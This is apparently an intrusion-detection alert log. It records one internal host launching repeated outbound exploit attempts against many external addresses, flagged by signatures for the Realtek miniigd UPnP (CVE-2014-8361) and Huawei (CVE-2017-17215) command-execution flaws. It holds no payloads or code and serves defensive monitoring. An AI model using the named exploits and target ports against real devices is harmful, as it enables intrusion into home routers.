Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 93.10.103.253

Timestamp:	07/20/24-23:01:04.160872
SID:	2027339
Source Port:	47360
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 131.14.182.74

Timestamp:	07/20/24-23:01:58.755147
SID:	2027339
Source Port:	51278
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 113.130.121.87

Timestamp:	07/20/24-23:01:25.969609
SID:	2025132
Source Port:	41896
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 111.15.64.29

Timestamp:	07/20/24-23:01:02.079114
SID:	2835222
Source Port:	45680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 41.203.104.16

Timestamp:	07/20/24-23:01:47.092270
SID:	2027339
Source Port:	54620
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 188.52.23.162

Timestamp:	07/20/24-23:01:52.701293
SID:	2027339
Source Port:	58940
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 118.76.56.217

Timestamp:	07/20/24-23:00:59.203960
SID:	2835222
Source Port:	46618
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 159.70.111.204

Timestamp:	07/20/24-23:01:08.693187
SID:	2831300
Source Port:	41122
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 150.181.42.248

Timestamp:	07/20/24-23:01:03.953624
SID:	2027339
Source Port:	52432
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.253.132.236

Timestamp:	07/20/24-23:01:31.978141
SID:	2835222
Source Port:	41478
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 48.69.126.229

Timestamp:	07/20/24-23:01:02.293628
SID:	2027339
Source Port:	35646
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 96.1.75.175

Timestamp:	07/20/24-23:01:54.980256
SID:	2027339
Source Port:	45806
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.77.47.158

Timestamp:	07/20/24-23:01:00.640312
SID:	2835222
Source Port:	54070
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 20.44.163.254

Timestamp:	07/20/24-23:01:41.305474
SID:	2027339
Source Port:	58086
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.21.126.116

Timestamp:	07/20/24-23:01:04.058922
SID:	2835222
Source Port:	38558
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.69.249.104

Timestamp:	07/20/24-23:01:04.098909
SID:	2835222
Source Port:	49142
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 36.88.70.103

Timestamp:	07/20/24-23:01:50.223705
SID:	2831300
Source Port:	50334
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 195.196.57.80

Timestamp:	07/20/24-23:01:12.806839
SID:	2831300
Source Port:	53204
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 105.36.101.44

Timestamp:	07/20/24-23:01:13.820007
SID:	2025132
Source Port:	37114
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.191.219.145

Timestamp:	07/20/24-23:01:07.062666
SID:	2829579
Source Port:	36856
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.9.117.101

Timestamp:	07/20/24-23:01:14.095462
SID:	2829579
Source Port:	41082
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 60.163.17.129

Timestamp:	07/20/24-23:01:26.115620
SID:	2025132
Source Port:	51190
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 196.46.94.209

Timestamp:	07/20/24-23:01:47.385543
SID:	2025132
Source Port:	33372
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 64.111.30.226

Timestamp:	07/20/24-23:01:51.835178
SID:	2831300
Source Port:	38042
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.158.235.29

Timestamp:	07/20/24-23:01:07.033766
SID:	2835222
Source Port:	40060
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 9.134.98.50

Timestamp:	07/20/24-23:01:03.266392
SID:	2025132
Source Port:	51400
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.139.97.65

Timestamp:	07/20/24-23:01:21.951298
SID:	2829579
Source Port:	55046
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 53.50.156.29

Timestamp:	07/20/24-23:01:44.963815
SID:	2025132
Source Port:	42942
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 128.83.244.58

Timestamp:	07/20/24-23:01:42.702732
SID:	2831300
Source Port:	44592
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 90.64.10.170

Timestamp:	07/20/24-23:01:44.921789
SID:	2831300
Source Port:	52396
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 163.119.42.207

Timestamp:	07/20/24-23:01:47.236261
SID:	2027339
Source Port:	57080
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.158.210.182

Timestamp:	07/20/24-23:01:31.975158
SID:	2829579
Source Port:	47600
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 187.139.238.2

Timestamp:	07/20/24-23:01:43.671215
SID:	2831300
Source Port:	42194
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 143.235.222.68

Timestamp:	07/20/24-23:01:42.685722
SID:	2831300
Source Port:	50136
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.174.117.103

Timestamp:	07/20/24-23:01:11.636599
SID:	2835222
Source Port:	38704
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.215.255.246

Timestamp:	07/20/24-23:01:14.296756
SID:	2829579
Source Port:	43348
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 208.98.159.35

Timestamp:	07/20/24-23:01:49.721561
SID:	2831300
Source Port:	39272
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.33.180.41

Timestamp:	07/20/24-23:01:06.988055
SID:	2829579
Source Port:	34964
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 17.78.214.126

Timestamp:	07/20/24-23:01:43.415157
SID:	2027339
Source Port:	54360
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 94.159.177.21

Timestamp:	07/20/24-23:01:42.111275
SID:	2831300
Source Port:	52826
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 147.236.68.25

Timestamp:	07/20/24-23:01:45.048479
SID:	2027339
Source Port:	36116
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 178.251.54.152

Timestamp:	07/20/24-23:01:08.611391
SID:	2831300
Source Port:	34982
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 5.36.69.33

Timestamp:	07/20/24-23:01:43.957856
SID:	2025132
Source Port:	39886
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 132.116.164.169

Timestamp:	07/20/24-23:01:41.476492
SID:	2027339
Source Port:	37172
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 64.123.182.34

Timestamp:	07/20/24-23:01:42.685722
SID:	2027339
Source Port:	38056
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 97.69.175.230

Timestamp:	07/20/24-23:01:02.437937
SID:	2025132
Source Port:	39280
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 112.255.30.88

Timestamp:	07/20/24-23:01:50.083569
SID:	2027339
Source Port:	54864
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 98.171.161.225

Timestamp:	07/20/24-23:01:44.470424
SID:	2831300
Source Port:	38526
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 203.196.31.139

Timestamp:	07/20/24-23:01:45.485100
SID:	2831300
Source Port:	39258
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 175.210.141.95

Timestamp:	07/20/24-23:01:47.375803
SID:	2025132
Source Port:	52282
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 141.3.146.221

Timestamp:	07/20/24-23:01:56.667752
SID:	2027339
Source Port:	33118
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 76.231.40.42

Timestamp:	07/20/24-23:01:42.422050
SID:	2027339
Source Port:	57534
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 85.239.208.54

Timestamp:	07/20/24-23:01:42.703494
SID:	2027339
Source Port:	38988
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 106.2.127.68

Timestamp:	07/20/24-23:01:42.164492
SID:	2025132
Source Port:	45442
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 43.18.71.244

Timestamp:	07/20/24-23:01:54.796749
SID:	2027339
Source Port:	33462
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.10.234.194

Timestamp:	07/20/24-23:01:00.635367
SID:	2835222
Source Port:	56890
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 89.86.75.249

Timestamp:	07/20/24-23:01:59.513085
SID:	2027339
Source Port:	53334
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.231.145.68

Timestamp:	07/20/24-23:01:24.885849
SID:	2829579
Source Port:	37860
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 185.44.122.49

Timestamp:	07/20/24-23:01:12.806645
SID:	2831300
Source Port:	41902
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 88.40.199.176

Timestamp:	07/20/24-23:01:57.465464
SID:	2027339
Source Port:	41994
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.55.166.124

Timestamp:	07/20/24-23:01:11.634077
SID:	2829579
Source Port:	57988
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 19.90.99.238

Timestamp:	07/20/24-23:01:51.172994
SID:	2027339
Source Port:	49444
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 171.245.11.17

Timestamp:	07/20/24-23:01:57.747300
SID:	2027339
Source Port:	58464
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.178.33.225

Timestamp:	07/20/24-23:00:57.221888
SID:	2835222
Source Port:	47604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 205.136.89.238

Timestamp:	07/20/24-23:01:43.405280
SID:	2027339
Source Port:	51008
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 112.103.96.49

Timestamp:	07/20/24-23:01:02.493447
SID:	2027339
Source Port:	36278
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 207.100.140.133

Timestamp:	07/20/24-23:01:51.833558
SID:	2831300
Source Port:	35974
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 122.138.157.236

Timestamp:	07/20/24-23:01:52.883801
SID:	2027339
Source Port:	47262
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 60.33.175.153

Timestamp:	07/20/24-23:01:47.669469
SID:	2027339
Source Port:	46694
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.66.219.47

Timestamp:	07/20/24-23:01:11.642449
SID:	2835222
Source Port:	59528
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.99.7.194

Timestamp:	07/20/24-23:01:00.634089
SID:	2835222
Source Port:	38714
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 106.236.204.67

Timestamp:	07/20/24-23:01:47.641942
SID:	2831300
Source Port:	46344
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 169.186.230.20

Timestamp:	07/20/24-23:01:44.749294
SID:	2027339
Source Port:	55868
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 25.68.235.59

Timestamp:	07/20/24-23:01:01.765841
SID:	2027339
Source Port:	34016
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 197.114.179.188

Timestamp:	07/20/24-23:01:53.415663
SID:	2027339
Source Port:	42988
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 90.31.237.217

Timestamp:	07/20/24-23:01:24.876750
SID:	2829579
Source Port:	57980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.132.20.65

Timestamp:	07/20/24-23:00:59.187842
SID:	2835222
Source Port:	33894
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 57.122.183.186

Timestamp:	07/20/24-23:02:17.085116
SID:	2027339
Source Port:	48072
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 178.91.194.150

Timestamp:	07/20/24-23:01:44.358680
SID:	2831300
Source Port:	40212
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 174.30.181.131

Timestamp:	07/20/24-23:01:41.299284
SID:	2027339
Source Port:	55122
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 137.75.123.123

Timestamp:	07/20/24-23:01:42.287237
SID:	2027339
Source Port:	33288
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 90.237.72.71

Timestamp:	07/20/24-23:01:44.648889
SID:	2025132
Source Port:	56418
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 130.2.207.228

Timestamp:	07/20/24-23:01:40.355589
SID:	2835222
Source Port:	39320
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 154.167.112.208

Timestamp:	07/20/24-23:01:42.945747
SID:	2025132
Source Port:	48476
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 89.73.227.199

Timestamp:	07/20/24-23:01:00.634089
SID:	2835222
Source Port:	56956
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.52.85.114

Timestamp:	07/20/24-23:01:24.898476
SID:	2829579
Source Port:	34552
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 151.149.108.97

Timestamp:	07/20/24-23:01:46.020177
SID:	2831300
Source Port:	56560
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 47.237.197.200

Timestamp:	07/20/24-23:01:08.555687
SID:	2831300
Source Port:	42530
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 178.91.194.150

Timestamp:	07/20/24-23:01:44.007374
SID:	2027339
Source Port:	39942
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 159.70.111.204

Timestamp:	07/20/24-23:01:04.773524
SID:	2027339
Source Port:	39008
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 157.202.7.129

Timestamp:	07/20/24-23:01:09.027075
SID:	2831300
Source Port:	44806
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 78.42.251.42

Timestamp:	07/20/24-23:01:44.038410
SID:	2027339
Source Port:	45320
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.64.180.236

Timestamp:	07/20/24-23:00:59.148145
SID:	2835222
Source Port:	55784
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 131.14.182.74

Timestamp:	07/20/24-23:01:52.343511
SID:	2025132
Source Port:	49584
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 143.235.222.68

Timestamp:	07/20/24-23:01:41.508271
SID:	2027339
Source Port:	49518
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 150.244.130.144

Timestamp:	07/20/24-23:01:44.590674
SID:	2831300
Source Port:	46584
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 173.124.142.19

Timestamp:	07/20/24-23:01:48.124037
SID:	2025132
Source Port:	39086
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 197.132.250.53

Timestamp:	07/20/24-23:01:45.098864
SID:	2831300
Source Port:	42266
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.190.44.53

Timestamp:	07/20/24-23:01:27.651332
SID:	2835222
Source Port:	55470
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

